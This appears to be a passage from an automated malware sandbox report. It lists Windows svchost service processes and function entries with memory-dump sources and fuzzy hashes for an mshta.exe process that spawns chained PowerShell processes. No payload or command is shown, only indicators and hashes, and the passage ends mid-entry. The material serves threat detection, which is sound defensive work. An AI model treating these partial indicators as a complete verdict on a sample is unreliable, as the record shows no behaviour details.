Has exited:	false

Show Windows behavior

Target ID:	55
Start time:	08:08:18
Start date:	18/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	56
Start time:	08:08:18
Start date:	18/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	57
Start time:	08:08:19
Start date:	18/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	58
Start time:	08:08:19
Start date:	18/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	59
Start time:	08:08:21
Start date:	18/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	62
Start time:	08:08:22
Start date:	18/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	63
Start time:	08:08:23
Start date:	18/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	64
Start time:	08:08:23
Start date:	18/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 00007FF887AD0D3E Relevance: .5, Instructions: 505COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1426211681.00007FF887AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff887ad0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b27b5a55955bd2676af043221172605e4b031eed15f584324caf4edc672f02f2
Instruction ID: 9770792278862af09a565257c6557e337e9195d23859f98b3fa7f7609df02a8c
Opcode Fuzzy Hash: b27b5a55955bd2676af043221172605e4b031eed15f584324caf4edc672f02f2
Instruction Fuzzy Hash: 93E1D422D4DBCA4FE39A962858962BA7FF1FF56290F1901FED099C71D3DD18A805C342

Function 00007FF887AD0EC4 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1426211681.00007FF887AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff887ad0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a90a88906165aa1fd342e249508320c37117bdb857eb779c08b88677d4f959c
Instruction ID: 4c7989e1f43e686240c967d73fa257b7f819a4372bd9bb1bc1455643aeac99e5
Opcode Fuzzy Hash: 9a90a88906165aa1fd342e249508320c37117bdb857eb779c08b88677d4f959c
Instruction Fuzzy Hash: C321F923E5DA4A8FF3A5D62814D62FE6AE2FF59790B6800B9C05DC71D3DD1D9C01C641

Function 00007FF887A037B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1425437383.00007FF887A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff887a00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction ID: da73fd973bc01475ea32cafe54342162a85c0f1088cde8c11ff2002be0e41119
Opcode Fuzzy Hash: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction Fuzzy Hash: 7301A77011CB0D8FD744EF0CE055AAAB3E0FB85360F10052DE58AC3691D636E882CB42

Analysis Process: mshta.exePID: 7960, Parent PID: 7916COMMON

Executed Functions

Function 000002071D2C0F11 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.1444299448.000002071D2C0000.00000010.00000800.00020000.00000000.sdmp, Offset: 000002071D2C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_2071d2c0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction ID: e23ce6806808ea5b05ee6da6d8fd7b01c6b333dbcee59b74ef01bc91cd472dda
Opcode Fuzzy Hash: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction Fuzzy Hash: 6B9002148A961655D41415910D4925C90407389150FD44480442A90185D85D1AD61552

Function 000002071D2C0F09 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.1444299448.000002071D2C0000.00000010.00000800.00020000.00000000.sdmp, Offset: 000002071D2C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_2071d2c0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction ID: e23ce6806808ea5b05ee6da6d8fd7b01c6b333dbcee59b74ef01bc91cd472dda
Opcode Fuzzy Hash: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction Fuzzy Hash: 6B9002148A961655D41415910D4925C90407389150FD44480442A90185D85D1AD61552

Function 000002071D2C0F21 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.1444299448.000002071D2C0000.00000010.00000800.00020000.00000000.sdmp, Offset: 000002071D2C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_2071d2c0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction ID: e23ce6806808ea5b05ee6da6d8fd7b01c6b333dbcee59b74ef01bc91cd472dda
Opcode Fuzzy Hash: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction Fuzzy Hash: 6B9002148A961655D41415910D4925C90407389150FD44480442A90185D85D1AD61552

Function 000002071D2C0F51 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.1444299448.000002071D2C0000.00000010.00000800.00020000.00000000.sdmp, Offset: 000002071D2C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_2071d2c0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction ID: e23ce6806808ea5b05ee6da6d8fd7b01c6b333dbcee59b74ef01bc91cd472dda
Opcode Fuzzy Hash: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction Fuzzy Hash: 6B9002148A961655D41415910D4925C90407389150FD44480442A90185D85D1AD61552

Function 000002071D2C0F49 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.1444299448.000002071D2C0000.00000010.00000800.00020000.00000000.sdmp, Offset: 000002071D2C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_2071d2c0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction ID: e23ce6806808ea5b05ee6da6d8fd7b01c6b333dbcee59b74ef01bc91cd472dda
Opcode Fuzzy Hash: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction Fuzzy Hash: 6B9002148A961655D41415910D4925C90407389150FD44480442A90185D85D1AD61552

Function 000002071D2C0F61 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.1444299448.000002071D2C0000.00000010.00000800.00020000.00000000.sdmp, Offset: 000002071D2C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_2071d2c0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction ID: e23ce6806808ea5b05ee6da6d8fd7b01c6b333dbcee59b74ef01bc91cd472dda
Opcode Fuzzy Hash: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction Fuzzy Hash: 6B9002148A961655D41415910D4925C90407389150FD44480442A90185D85D1AD61552

Function 000002071D2C0F31 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.1444299448.000002071D2C0000.00000010.00000800.00020000.00000000.sdmp, Offset: 000002071D2C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_2071d2c0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction ID: e23ce6806808ea5b05ee6da6d8fd7b01c6b333dbcee59b74ef01bc91cd472dda
Opcode Fuzzy Hash: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction Fuzzy Hash: 6B9002148A961655D41415910D4925C90407389150FD44480442A90185D85D1AD61552

Function 000002071D2C0F41 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.1444299448.000002071D2C0000.00000010.00000800.00020000.00000000.sdmp, Offset: 000002071D2C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_2071d2c0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction ID: e23ce6806808ea5b05ee6da6d8fd7b01c6b333dbcee59b74ef01bc91cd472dda
Opcode Fuzzy Hash: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction Fuzzy Hash: 6B9002148A961655D41415910D4925C90407389150FD44480442A90185D85D1AD61552

Function 000002071D2C0F91 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.1444299448.000002071D2C0000.00000010.00000800.00020000.00000000.sdmp, Offset: 000002071D2C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_2071d2c0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction ID: e23ce6806808ea5b05ee6da6d8fd7b01c6b333dbcee59b74ef01bc91cd472dda
Opcode Fuzzy Hash: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction Fuzzy Hash: 6B9002148A961655D41415910D4925C90407389150FD44480442A90185D85D1AD61552

Function 000002071D2C0F89 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.1444299448.000002071D2C0000.00000010.00000800.00020000.00000000.sdmp, Offset: 000002071D2C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_2071d2c0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction ID: e23ce6806808ea5b05ee6da6d8fd7b01c6b333dbcee59b74ef01bc91cd472dda
Opcode Fuzzy Hash: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction Fuzzy Hash: 6B9002148A961655D41415910D4925C90407389150FD44480442A90185D85D1AD61552

Function 000002071D2C0F71 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.1444299448.000002071D2C0000.00000010.00000800.00020000.00000000.sdmp, Offset: 000002071D2C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_2071d2c0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction ID: e23ce6806808ea5b05ee6da6d8fd7b01c6b333dbcee59b74ef01bc91cd472dda
Opcode Fuzzy Hash: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction Fuzzy Hash: 6B9002148A961655D41415910D4925C90407389150FD44480442A90185D85D1AD61552

Function 000002071D2C0F69 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.1444299448.000002071D2C0000.00000010.00000800.00020000.00000000.sdmp, Offset: 000002071D2C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_2071d2c0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction ID: e23ce6806808ea5b05ee6da6d8fd7b01c6b333dbcee59b74ef01bc91cd472dda
Opcode Fuzzy Hash: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction Fuzzy Hash: 6B9002148A961655D41415910D4925C90407389150FD44480442A90185D85D1AD61552

Function 000002071D2C0F81 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.1444299448.000002071D2C0000.00000010.00000800.00020000.00000000.sdmp, Offset: 000002071D2C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_2071d2c0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction ID: e23ce6806808ea5b05ee6da6d8fd7b01c6b333dbcee59b74ef01bc91cd472dda
Opcode Fuzzy Hash: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction Fuzzy Hash: 6B9002148A961655D41415910D4925C90407389150FD44480442A90185D85D1AD61552

Function 000002071D2C0F79 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.1444299448.000002071D2C0000.00000010.00000800.00020000.00000000.sdmp, Offset: 000002071D2C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_2071d2c0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction ID: e23ce6806808ea5b05ee6da6d8fd7b01c6b333dbcee59b74ef01bc91cd472dda
Opcode Fuzzy Hash: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction Fuzzy Hash: 6B9002148A961655D41415910D4925C90407389150FD44480442A90185D85D1AD61552

Function 000002071D2C0FC1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.1444299448.000002071D2C0000.00000010.00000800.00020000.00000000.sdmp, Offset: 000002071D2C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_2071d2c0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction ID: e23ce6806808ea5b05ee6da6d8fd7b01c6b333dbcee59b74ef01bc91cd472dda
Opcode Fuzzy Hash: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction Fuzzy Hash: 6B9002148A961655D41415910D4925C90407389150FD44480442A90185D85D1AD61552

Analysis Process: powershell.exePID: 8136, Parent PID: 7960COMMON

Executed Functions

Function 00007FF886D31F69 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1919770022.00007FF886D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff886d30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0053e7cb9fc737426b191465cde765210546e85f1de801a1d36190e44d4d660b
Instruction ID: 4fc44e04a0d42e6615c4ad9368eed339e0465984f1c4f291f27f3522b0b14877
Opcode Fuzzy Hash: 0053e7cb9fc737426b191465cde765210546e85f1de801a1d36190e44d4d660b
Instruction Fuzzy Hash: C9811732E1DA878FF7A996285A2227577D1FF552A0F4801BAC14FC71D3FE1AAC05C242

Function 00007FF886D30C3E Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1919770022.00007FF886D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff886d30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 655a07600d63fd085d37af13f316e835a20e55e0f4bdca07fa0dba259fdd3ae8
Instruction ID: f0f047c2559aafbba3eba9b1c87b8d664fd8c2e1a35c11fe12e985f89b5491d6
Opcode Fuzzy Hash: 655a07600d63fd085d37af13f316e835a20e55e0f4bdca07fa0dba259fdd3ae8
Instruction Fuzzy Hash: 6951E722E1DA5B4FF7EA96AC25512B566D1FF947A0F5800BAC44FC75C3ED09AC05C281

Function 00007FF886D30C8A Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1919770022.00007FF886D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff886d30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38b61accca4bc8085483aaa38f384c39d76553edb4a60aa0f1c26f7f3b211c66
Instruction ID: b6159ea5f0e6c386eb74ed005112e470f56ec343c6f35315b56a42a8663e841b
Opcode Fuzzy Hash: 38b61accca4bc8085483aaa38f384c39d76553edb4a60aa0f1c26f7f3b211c66
Instruction Fuzzy Hash: 4A31D822E1EA8B4FF6E6A2A8256527955D1FF943D0F5800BAC44FC75D3FC0EAC45C251

Function 00007FF886D32064 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1919770022.00007FF886D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff886d30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59cf0a075986b996246c10ddc64b51d51b35e518805030af1dbda0cb0b6417e0
Instruction ID: 5d8b44b244304c9f71091444bb8872fd067b06acb71456732689fbee2a331f72
Opcode Fuzzy Hash: 59cf0a075986b996246c10ddc64b51d51b35e518805030af1dbda0cb0b6417e0
Instruction Fuzzy Hash: CA21F932E1DE4B8BF3A69629596227566C2FF552A0F9800B9D04EC71D7FD1AEC05C201

Function 00007FF886C637B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1918346822.00007FF886C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff886c60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction ID: eae8ea84071b61eec2fcf60af80e11abcf53a5194bad575bd88f114aa2a26b9a
Opcode Fuzzy Hash: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction Fuzzy Hash: 6F01677115CB0D8FD744EF0CE451AA6B7E0FB95364F10056DE58AC3651D636E882CB46

Non-executed Functions

Function 00007FF886C621CA Relevance: 2.8, Strings: 2, Instructions: 274COMMON

Download Yara Rule

Strings

!L_^, xrefs: 00007FF886C62301
"L_^, xrefs: 00007FF886C62201

Memory Dump Source

Source File: 00000009.00000002.1918346822.00007FF886C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff886c60000_powershell.jbxd

Similarity

API ID:
String ID: !L_^$"L_^
API String ID: 0-413270664
Opcode ID: 74272e1f945e5261843f03b94dbe03385e7aadc818f8d0a637ae8ffdc9bd84f2
Instruction ID: 2ec3d19eaed9aeed9f6e194aa4524eb9c69e1bc40175f41c76c6d5d2ebaebfb2
Opcode Fuzzy Hash: 74272e1f945e5261843f03b94dbe03385e7aadc818f8d0a637ae8ffdc9bd84f2
Instruction Fuzzy Hash: FC816F67D1D6C29EE753462CA8670E13BA1FF636A570900FBC5848B0A7DA0D7C1BC265

Function 00007FF886C611D8 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1918346822.00007FF886C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff886c60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70d8062d7758e5b64b43121994ab971fd81bef085b46b1ba21d8254ad55c499d
Instruction ID: fa2b3558d7d4572d2ca73bcf31420afd42a3e93506ea5380d6fe42fdc11419f1
Opcode Fuzzy Hash: 70d8062d7758e5b64b43121994ab971fd81bef085b46b1ba21d8254ad55c499d
Instruction Fuzzy Hash: 1761AA67E0D6C24FF356457C981A0F57BA1FF636A270D00FBC4898B893E8197C0AC695

Analysis Process: powershell.exePID: 6988, Parent PID: 8136COMMON

Executed Functions

Function 00007FF886D06605 Relevance: .4, Instructions: 438COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1571998719.00007FF886D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff886d00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2214f95a80472016a2f344613ee6012cddfb49730874ac1d70fc5433cb12a369
Instruction ID: ad730758368c6dcc614c9f2ee88eed3f8d590c553e1bf3244b2a6db7c0324453
Opcode Fuzzy Hash: 2214f95a80472016a2f344613ee6012cddfb49730874ac1d70fc5433cb12a369
Instruction Fuzzy Hash: 8AD10132D1DACA4FE7A5EB685855AB57BE0FF563A0B4801BED04EC70D3D919AC05C382

Function 00007FF886C3A130 Relevance: .2, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1571332194.00007FF886C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff886c30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d402920ed898a9e8bf15fc7af8007ed49c4ef584fc4e9bf62957fb544d5f270
Instruction ID: ffe6ca6cac4f61f19a74516fd63b9e5d2075d5968dc490def397633235ce8b1d
Opcode Fuzzy Hash: 6d402920ed898a9e8bf15fc7af8007ed49c4ef584fc4e9bf62957fb544d5f270
Instruction Fuzzy Hash: 3901813540D7CA8FC7429F788C290947FB0FF66240B0901DBE449CB0B2D6258D58CB82

Function 00007FF886B1E607 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1570617202.00007FF886B1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886B1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff886b1d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00bd025b03ed12bbfdc2bc6c06428b71f939157388792ddd899c77577e056497
Instruction ID: 29bdb8e2bd17ffdbb1522c696f0502912434493ca66ba271cdb12ff2f2e3ef5b
Opcode Fuzzy Hash: 00bd025b03ed12bbfdc2bc6c06428b71f939157388792ddd899c77577e056497
Instruction Fuzzy Hash: 0E41053040DBC45FE7569B29A8558623FF0FF56264B1905EFD089CB1A3D624AC46C792

Function 00007FF886C3978D Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1571332194.00007FF886C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff886c30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bb5045e2ca3653de51a144fe66f580ceee47a6707b75de9cb93d15d82e225c3
Instruction ID: 2df17cff92b719329b9bad36beacb5a1441cbb0eff6403592473a45b65d38d1f
Opcode Fuzzy Hash: 5bb5045e2ca3653de51a144fe66f580ceee47a6707b75de9cb93d15d82e225c3
Instruction Fuzzy Hash: B331C73191CB4C9FDB58DB5C9C46AA9BBE0FB99311F00422FE449D3251DB71A855CBC2

Function 00007FF886C3A64C Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1571332194.00007FF886C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff886c30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9333678e7c77f664830bf9547c8b262d73416879283742194958134dafe540aa
Instruction ID: a5f312cc32b85e49b2165d07ac24a05e5da7f19494705cb673b2576772132608
Opcode Fuzzy Hash: 9333678e7c77f664830bf9547c8b262d73416879283742194958134dafe540aa
Instruction Fuzzy Hash: 6121063090CB4D8FEB59DBAC9C4A7E97BF0EB96321F04416BD448C3152DA74A856CB92

Function 00007FF886C333B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1571332194.00007FF886C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff886c30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction ID: b78c99c2b2f0737bca84ff0d1c9dbefaa9413a3007803390516c45da027d104f
Opcode Fuzzy Hash: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction Fuzzy Hash: E701677115CB0D8FD744EF0CE451AA5B7E0FB95364F10056DE58AC3651DA36E882CB46

Function 00007FF886D0414D Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1571998719.00007FF886D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff886d00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7cd6fb1a3cf0ed8ad16bed87866a30e1eab261de436937ef50593f3512b0507
Instruction ID: e5ac4a9ca0d552fb76d237d0a058d3b1e7b28cf59fef9130a33fcd138ddd9012
